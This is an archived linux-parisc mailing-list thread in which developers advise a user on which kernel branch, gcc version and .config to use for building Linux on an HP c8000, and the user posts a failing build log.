References: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
	<5710A91C.4040609@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460709945 13225 80.91.229.3 (15 Apr 2016 08:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 08:45:45 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 10:45:44 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqzNn-0003sI-Kz
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 10:45:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750880AbcDOIpn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 04:45:43 -0400
Original-Received: from mail-io0-f169.google.com ([209.85.223.169]:34468 "EHLO
	mail-io0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750732AbcDOIpm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 04:45:42 -0400
Original-Received: by mail-io0-f169.google.com with SMTP id 2so128621817ioy.1
        for <linux-parisc@vger.kernel.org>; Fri, 15 Apr 2016 01:45:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=R3GaHMp1aSWc/5RdzaZ2OtfZAfQBWLBpgYIQKCX1bvU=;
        b=1Ce75zXwD1eB3FXDPUUdIpgXRaFHf8hhgr1r/wRK3/zqzoZncDjpY0JuXrDenk0L2J
         hcOVs6rEX9gmHXBVwlvQKmW6EL5KnVYL/PCGRjESEynHkYlNPwhArCePDWcIZJnvts1D
         CPrrPXOsxhj8DqFD/UX+XPVFqUhv05u8zKrmlG1UNnfj9vTpPLSWSAT1H7Of4W2dTVAq
         kNOmQfS9Ag3r7dWnuIlygBIpjGmxVW8XIcktOTTCjmiHotKuuYXWod1+1nqhdBJT8KEx
         p53UTyEBwz/YhJEFLDJBSDXoLhiu88bgoQFgtQXZmfgJNnJH5Gp+3HWQwjeAg89bH7Mm
         q0pA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=R3GaHMp1aSWc/5RdzaZ2OtfZAfQBWLBpgYIQKCX1bvU=;
        b=XAYH3yPEE67M5377iihz5a7Xydyk2XYWTmbUg8fZrknLFDuSfRfHwkNrvxrmw3DHJI
         zhdlgt5V4piNJlF9HTs1wyAGOFFlv5Iphti7I3C4KhmXVfApshpiJVD6yuaJyxI+bzZo
         L2SGyWFJE0gYeAzTRcNdyJA+/vQYsqdDPesg/r+GybLuiZklEPcm5ALIzIRwMRZuP4Or
         VAWUuxcFmtoDpLOXudYYNa8Mh0EWwH9kyU6v808xFDu7sCElw1vPq8mU7IIKsAX8vIcZ
         N7HUH4iWc0DOyrmKy39wS5b5fucfK+2yKVskMSS8mWA3srP5G5Rob0uDUNYeq12lp5qc
         xNWw==
X-Gm-Message-State: AOPr4FW0NeKA143hNhl7WfSoTC4LjXLPiBkxLo/T2ahQxKQAiuO2jXaGdkl0usGQ9uF9R/JQYB/HOFikfP+8Zw==
X-Received: by 10.107.170.17 with SMTP id t17mr24970522ioe.71.1460709941274;
 Fri, 15 Apr 2016 01:45:41 -0700 (PDT)
Original-Received: by 10.64.116.230 with HTTP; Fri, 15 Apr 2016 01:45:41 -0700 (PDT)
In-Reply-To: <5710A91C.4040609@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26639>

Perfect: now I have all the info that I need to start.

I'm going to clone your Linux branch.

Thanks a lot for your personal ".config" :-)

  Simone Mannori - ITALY



On 15 April 2016 at 10:41, Helge Deller <deller@gmx.de> wrote:
> Hi Simone,
>
> On 15.04.2016 07:04, Simone Mannori wrote:
>> I'm using Debian 8.0 (linux-parisc) on a c8000 and I would like to
>> recompile the Linux kernel for debugging purposes, hoping to find and
>> fix the "[radeon] and [nouveau] passive frame buffer mode".
>>
>> Q1: Which version you suggest? Stable /devevelopment / GIT ?
>
> I'd suggest to use 4.5-stable, or alternatively the debian 4.5.1 kernel source.
>
>> Q2: Where I can find it? (www.kernel.org ?)
>
> Yes, either clone linux-4.5.y from git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
> (http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/),
> or run "apt-get update", "apt-get source linux" on debian.
> For that you need this in /etc/apt/sources.list:
> deb-src http://ftp.debian.org/debian unstable main
>
> Then, run "apt-get build-dep linux" once to get the build-depends.
>
>> Q3: Which GCC version? (4.x ? 5.x ?)
>
> gcc-4.9.
> Get's installed when you run "apt-get build-dep linux".
>
>> Q4: As ".config default", you suggest the Debian 8.0 one or you have a
>> better new one?
>
> The debian one is fine, alternatively you could use the one I'm using (attached here).
> "make c8000_defconfig" should work as well.
>
>> You have already suuggested me few [radeon] source files where put my
>> nose and what debugging tools I should use (printk). My actual problem
>> is to find the right kernel/gcc version (I've tried several
>> combinations, but the compilation stops with errors).
>
> Hope the above answers helps.
>
> Helge
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel for bug hunting
Date: Fri, 15 Apr 2016 09:39:28 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <5710EF10.5080401@bell.net>
References: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
 <5710A91C.4040609@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460727586 12339 80.91.229.3 (15 Apr 2016 13:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 13:39:46 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
	Simone Mannori <simone.mannori@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 15:39:32 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ar3y7-0001Rf-BQ
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 15:39:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750918AbcDONja (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 09:39:30 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:15202 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750735AbcDONja (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 09:39:30 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160415133928.VPQT12255.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 15 Apr 2016 09:39:28 -0400
Original-Received: from [192.168.0.122] (really [64.231.92.133])
          by mtlspm01.bell.net with ESMTP
          id <20160415133928.XCDC17299.mtlspm01.bell.net@[192.168.0.122]>;
          Fri, 15 Apr 2016 09:39:28 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.2
In-Reply-To: <5710A91C.4040609@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.5710EF10.0238,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26640>

On 2016-04-15 4:41 AM, Helge Deller wrote:
>> Q3: Which GCC version? (4.x ? 5.x ?)
> gcc-4.9.
> Get's installed when you run "apt-get build-dep linux".
For c8000, you need 64-bit tools: gcc-4.9-hppa64.  4.9 is best tested 
but gcc-5
should work fine with recent kernels (gcc-5-hppa64-linux-gnu package).  
gcc-5
is used to build most packages, so the 32-bit version has been 
extensively tested.

Don't build debian config.  It takes too long as it builds almost 
everything.  Full
build of a c8000 specifig config takes about 30 minutes at -j8.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel for bug hunting
Date: Fri, 15 Apr 2016 16:57:43 +0200
Lines: 281
Approved: news@gmane.org
Message-ID: <CACrbsaBDN70Q=JxjpsruVNLgi+X262MEQY+zgy1mdOwVmFZB2A@mail.gmail.com>
References: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
	<5710A91C.4040609@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460732269 30949 80.91.229.3 (15 Apr 2016 14:57:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 14:57:49 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Riccardo Schiavi <r.schiavi@evidence.eu.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 16:57:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ar5Br-0005Wt-7k
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 16:57:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751175AbcDOO5q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 10:57:46 -0400
Original-Received: from mail-ig0-f170.google.com ([209.85.213.170]:37442 "EHLO
	mail-ig0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750890AbcDOO5p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 10:57:45 -0400
Original-Received: by mail-ig0-f170.google.com with SMTP id g8so24758760igr.0
        for <linux-parisc@vger.kernel.org>; Fri, 15 Apr 2016 07:57:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=D1YDEMSpD4dooeoEWu1qF6IwDWvAkVhwyfDVEhQEesk=;
        b=RSA+D/BD44Q0Xx+l+ULUGhSZ7yHooB/7jxVZ1UO6oxyXEjAg8oFROcxchkynF/u1L7
         zHhhOES6lVxraYf/j9fX/6ckfXdxcDXYpKBK498u83+ELo1pWetPzOtpVFC3TsMvXPZQ
         UWMHQcng8fVEDNqbRTLr/i7LE/GIyMxxNMWRRb5CHYeoRJ9oriTlPS19jdgpBQcxKxVh
         gAEmdtWGFJrCSq9vQs2+fos9fRf78M19s6yJl/cyi2DX0S8wE98Q7WGL7rq+cUiDIlXo
         oUV0lp7KvIBkOvUJILrZrAzPn6rhU8UspaXzCRde5CU0+1qTB92iqAJmnXk/Xw26d36m
         yMJg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=D1YDEMSpD4dooeoEWu1qF6IwDWvAkVhwyfDVEhQEesk=;
        b=XbxNRNES79yKT2VNoKCB3w0VxDiIvanKV78YCQpnF1HN1ZTAc4XMCKd5+SVObsYLRJ
         3epoMqRqJr5LWbE2YaR38yeyrLnOoeQETCd5bNiYrhfahjjKQTvWVjpdchhw3jY7c/vm
         zDk/PaO5UQNk3bvFCL8nTjTLULzJTfRUMeNpZU4ZscUOvXOgav26GbfUl5AF5nMpOw33
         cx50k36OX0zdT6DwtqAdifeKI1P7fc+EhXFF1pyhM95raCSgeSOt3LNZpTCaxsxNnD3r
         D6ReqDQwa3oS+WjQ7QfKlF0u5zfWNrlDhvnvO+yh86Qik56Ow46ZBjXVJYWz6LxyfMu5
         FieQ==
X-Gm-Message-State: AOPr4FWisjWgoC08Pt+JpAEgaSjU2vRieNqS4IbeQKz6XmJXBnBeR98TZXyW0OGWofArAh0WZeO54umHuAihbw==
X-Received: by 10.50.112.10 with SMTP id im10mr5477745igb.93.1460732263798;
 Fri, 15 Apr 2016 07:57:43 -0700 (PDT)
Original-Received: by 10.64.116.230 with HTTP; Fri, 15 Apr 2016 07:57:43 -0700 (PDT)
In-Reply-To: <5710A91C.4040609@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26641>

Hi Helghe,

I'm very sorry to disturb by this "newbie issues" but I still have
errors at compile time

Inside a clean directory I have cloned the repository

git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git

and everythings looks OK.

I have changed directory with to "cd linux-stable/"; then I have
verified the presence of other branches with "git branch -a"; then I
have checkout the branch that you told me using

git checkout -b hppa remotes/origin/linux-4.5.y

Now the situation looks perfect:
simone@blsw:~/kernel/git/linux-stable$ git branch
* hppa
  master

GCC looks good:
simone@blsw:~/kernel/git/linux-stable$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/hppa-linux-gnu/4.9/lto-wrapper
Target: hppa-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian
4.9.3-14' --with-bugurl=file:///usr/share/doc/gcc-4.9/README.Bugs
--enable-languages=c,c++,java,d,fortran,objc,obj-c++ --prefix=/usr
--program-suffix=-4.9 --enable-shared --enable-linker-build-id
--libexecdir=/usr/lib --without-included-gettext
--enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.9
--libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu
--enable-libstdcxx-debug --enable-libstdcxx-time=yes
--enable-gnu-unique-object --disable-libssp --disable-libitm
--disable-libsanitizer --disable-libquadmath --enable-plugin
--with-system-zlib --disable-browser-plugin --enable-java-awt=gtk
--enable-gtk-cairo
--with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.9-hppa/jre
--enable-java-home
--with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.9-hppa
--with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-4.9-hppa
--with-arch-directory=parisc
--with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc
--enable-multiarch --disable-libstdcxx-pch --enable-checking=release
--build=hppa-linux-gnu --host=hppa-linux-gnu --target=hppa-linux-gnu
Thread model: posix
gcc version 4.9.3 (Debian 4.9.3-14)

I'm using your .config untouched.

BUT at compile time, I have a long list of errors (please see below
for the details).

Usually, I compile the Linux kernel dowloading the sources looking for
the right tar file.
Probably my git knowledge is too superficial and I'm doing something wrong.

Thanks in advance for you help.

  Simone Mannori - ITALY

//**---------------------------------------------------------------------------------------

In file included from ./arch/parisc/include/asm/bitops.h:211:0,
                 from include/linux/bitops.h:36,
                 from include/linux/kernel.h:10,
                 from ./arch/parisc/include/asm/bug.h:4,
                 from include/linux/bug.h:4,
                 from include/linux/page-flags.h:9,
                 from kernel/bounds.c:9:
include/asm-generic/bitops/__fls.h: In function '__fls':
include/asm-generic/bitops/__fls.h:17:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << 32))) {
  ^
include/asm-generic/bitops/__fls.h:19:3: warning: left shift count >=
width of type
   word <<= 32;
   ^
include/asm-generic/bitops/__fls.h:22:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-16)))) {
  ^
include/asm-generic/bitops/__fls.h:26:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-8)))) {
  ^
include/asm-generic/bitops/__fls.h:30:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-4)))) {
  ^
include/asm-generic/bitops/__fls.h:34:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-2)))) {
  ^
include/asm-generic/bitops/__fls.h:38:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-1))))
  ^
  CHK     include/generated/bounds.h
  UPD     include/generated/bounds.h
  CC      arch/parisc/kernel/asm-offsets.s
In file included from ./arch/parisc/include/asm/bitops.h:211:0,
                 from include/linux/bitops.h:36,
                 from include/linux/kernel.h:10,
                 from include/linux/sched.h:17,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/asm-generic/bitops/__fls.h: In function '__fls':
include/asm-generic/bitops/__fls.h:17:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << 32))) {
  ^
include/asm-generic/bitops/__fls.h:19:3: warning: left shift count >=
width of type
   word <<= 32;
   ^
include/asm-generic/bitops/__fls.h:22:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-16)))) {
  ^
include/asm-generic/bitops/__fls.h:26:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-8)))) {
  ^
include/asm-generic/bitops/__fls.h:30:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-4)))) {
  ^
include/asm-generic/bitops/__fls.h:34:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-2)))) {
  ^
include/asm-generic/bitops/__fls.h:38:2: warning: left shift count >=
width of type
  if (!(word & (~0ul << (BITS_PER_LONG-1))))
  ^
In file included from include/linux/ktime.h:297:0,
                 from include/linux/rcupdate.h:47,
                 from include/linux/rbtree.h:34,
                 from include/linux/sched.h:22,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/timekeeping.h: In function 'do_settimeofday':
include/linux/timekeeping.h:51:27: warning: passing argument 1 of
'do_settimeofday64' from incompatible pointer type
  return do_settimeofday64(ts);
                           ^
include/linux/timekeeping.h:13:12: note: expected 'const struct
timespec64 *' but argument is of type 'const struct timespec *'
 extern int do_settimeofday64(const struct timespec64 *ts);
            ^
include/linux/timekeeping.h: In function '__getnstimeofday':
include/linux/timekeeping.h:56:28: warning: passing argument 1 of
'__getnstimeofday64' from incompatible pointer type
  return __getnstimeofday64(ts);
                            ^
include/linux/timekeeping.h:41:12: note: expected 'struct timespec64
*' but argument is of type 'struct timespec *'
 extern int __getnstimeofday64(struct timespec64 *tv);
            ^
include/linux/timekeeping.h: In function 'getnstimeofday':
include/linux/timekeeping.h:61:19: warning: passing argument 1 of
'getnstimeofday64' from incompatible pointer type
  getnstimeofday64(ts);
                   ^
include/linux/timekeeping.h:42:13: note: expected 'struct timespec64
*' but argument is of type 'struct timespec *'
 extern void getnstimeofday64(struct timespec64 *tv);
             ^
include/linux/timekeeping.h: In function 'ktime_get_ts':
include/linux/timekeeping.h:66:17: warning: passing argument 1 of
'ktime_get_ts64' from incompatible pointer type
  ktime_get_ts64(ts);
                 ^
include/linux/timekeeping.h:37:13: note: expected 'struct timespec64
*' but argument is of type 'struct timespec *'
 extern void ktime_get_ts64(struct timespec64 *ts);
             ^
include/linux/timekeeping.h: In function 'ktime_get_real_ts':
include/linux/timekeeping.h:71:19: warning: passing argument 1 of
'getnstimeofday64' from incompatible pointer type
  getnstimeofday64(ts);
                   ^
include/linux/timekeeping.h:42:13: note: expected 'struct timespec64
*' but argument is of type 'struct timespec *'
 extern void getnstimeofday64(struct timespec64 *tv);
             ^
include/linux/timekeeping.h: In function 'getrawmonotonic':
include/linux/timekeeping.h:76:20: warning: passing argument 1 of
'getrawmonotonic64' from incompatible pointer type
  getrawmonotonic64(ts);
                    ^
include/linux/timekeeping.h:36:13: note: expected 'struct timespec64
*' but argument is of type 'struct timespec *'
 extern void getrawmonotonic64(struct timespec64 *ts);
             ^
include/linux/timekeeping.h: In function 'get_monotonic_coarse':
include/linux/timekeeping.h:81:2: error: incompatible types when
returning type 'struct timespec64' but 'struct timespec' was expected
  return get_monotonic_coarse64();
  ^
include/linux/timekeeping.h: In function 'getboottime':
include/linux/timekeeping.h:86:23: warning: passing argument 1 of
'getboottime64' from incompatible pointer type
  return getboottime64(ts);
                       ^
include/linux/timekeeping.h:43:13: note: expected 'struct timespec64
*' but argument is of type 'struct timespec *'
 extern void getboottime64(struct timespec64 *ts);
             ^
arch/parisc/kernel/asm-offsets.c: In function 'main':
arch/parisc/kernel/asm-offsets.c:286:2: warning: right shift count >=
width of type
  DEFINE(ASM_PGD_ENTRY, PAGE_OFFSET >> PGDIR_SHIFT);
  ^
Kbuild:80: recipe for target 'arch/parisc/kernel/asm-offsets.s' failed
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
Makefile:993: recipe for target 'prepare0' failed
make: *** [prepare0] Error 2









On 15/04/2016, Helge Deller <deller@gmx.de> wrote:
> Hi Simone,
>
> On 15.04.2016 07:04, Simone Mannori wrote:
>> I'm using Debian 8.0 (linux-parisc) on a c8000 and I would like to
>> recompile the Linux kernel for debugging purposes, hoping to find and
>> fix the "[radeon] and [nouveau] passive frame buffer mode".
>>
>> Q1: Which version you suggest? Stable /devevelopment / GIT ?
>
> I'd suggest to use 4.5-stable, or alternatively the debian 4.5.1 kernel
> source.
>
>> Q2: Where I can find it? (www.kernel.org ?)
>
> Yes, either clone linux-4.5.y from
> git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
> (http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/),
> or run "apt-get	update", "apt-get source linux" on debian.
> For that you need this in /etc/apt/sources.list:
> deb-src http://ftp.debian.org/debian unstable main
>
> Then, run "apt-get build-dep linux" once to get the build-depends.
>
>> Q3: Which GCC version? (4.x ? 5.x ?)
>
> gcc-4.9.
> Get's installed when you run "apt-get build-dep linux".
>
>> Q4: As ".config default", you suggest the Debian 8.0 one or you have a
>> better new one?
>
> The debian one is fine, alternatively you could use the one I'm using
> (attached here).
> "make c8000_defconfig" should work as well.
>
>> You have already suuggested me few [radeon] source files where put my
>> nose and what debugging tools I should use (printk). My actual problem
>> is to find the right kernel/gcc version (I've tried several
>> combinations, but the compilation stops with errors).
>
> Hope the above answers helps.
>
> Helge
>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] libseccomp: Add parisc architecture support (v2)
Date: Fri, 15 Apr 2016 17:07:25 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <571103AD.20500@gmx.de>
References: <20160213200731.GA18161@ls3530.box> <3673666.V2ZqGazvLY@sifl>
 <56C24911.8000200@gmx.de> <1907254.cBdVSxntFv@sifl>
 <20160409070549.GA5442@ls3530.box>
 <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460732863 8164 80.91.229.3 (15 Apr 2016 15:07:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 15:07:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
 James Bottomley <James.Bottomley@hansenpartnership.com>,
 John David Anglin <dave.anglin@bell.net>, libseccomp@googlegroups.com,
 Mike Frysinger <vapier@gentoo.org>
To: Paul Moore <paul@paul-moore.com>
Original-X-From: libseccomp+bncBC23VB5X54DBBNUHYS4AKGQEZ3OSEGY@googlegroups.com Fri Apr 15 17:07:34 2016
Return-path: <libseccomp+bncBC23VB5X54DBBNUHYS4AKGQEZ3OSEGY@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-lf0-f55.google.com ([209.85.215.55])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBC23VB5X54DBBNUHYS4AKGQEZ3OSEGY@googlegroups.com>)
	id 1ar5LK-0003NK-FQ
	for gcllg-libseccomp-discuss-2@m.gmane.org; Fri, 15 Apr 2016 17:07:34 +0200
Original-Received: by mail-lf0-f55.google.com with SMTP id d131sf32130085lfd.1
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Fri, 15 Apr 2016 08:07:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=e5wW1nhk+I++zlBc4F44B19jerSbsHtwcvUxdyZMrd8=;
        b=Tbqhh6EIqcmexRHPFNkm41vviiKCDCMZFD68VpqVhDCTVVHVRq7x1xwAxo4+Mqg4jS
         ndAYCFCkDKSFCY5wvGiVVpkWj7pDSm2eivkntF2BePixBRphTEkdh77uILwOw2h4hm8D
         uFTPt41DNqhl+HAMf4sRFsFYUmzHWhUr0ekaK5QrXvkEiGefcmDtbV4hD6YjYBJSHR48
         ye3OngU4QvUy9vROlq1E9W20XAxFZiv9vGZ1lA23AnXEimWJqNEHooTryv380VOltVPH
         8lS3fGhLdfnSzBQn7ERblszuJg7VxjOcTbViKeH7aE6rFilLdaLDX+zWZXNuDgW/+Hxa
         jbPA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:subject:to:references:cc:from:message-id
         :date:user-agent:mime-version:in-reply-to:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=e5wW1nhk+I++zlBc4F44B19jerSbsHtwcvUxdyZMrd8=;
        b=WkAbiKcMxJSk55ONGVc2PxxntvAyF4nTkWmKCDb/SZOCm4wKDGtlmiijcP3CL5W6QG
         nOdvfEXoOP3UotkPllryExXdDlJzWE49lxum1M6PDIz+r0NKkTOf0t1tjjZeHONDK/r2
         87QzoAVQmvNd00RWoP6axpHcKHn7M5SRnx1eKlVzmscp1wGE3AoPU1UZ0pRQIWclCLgO
         hLZwwLRns+bPoL9eoMbIn5uIru1hREh4Olg6vJtgIQfr3/Uf0UAVkyk/trdWg6+6Uzco
         mg+GIGXr/JFaDJW3/jpvaR9W1ESNnAQ3sEUzgvwrh3hyHwIQdFm+3A7T5UEU+XnKgnPF
         8m5Q==
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AOPr4FVlEynkA8Y637lrWTymPcIzT1F8z6zCpbGQVBDXNZvfaEZmnJbFmzNbM75YmlprcQ==
X-Received: by 10.28.47.74 with SMTP id v71mr19494wmv.16.1460732854084;
        Fri, 15 Apr 2016 08:07:34 -0700 (PDT)
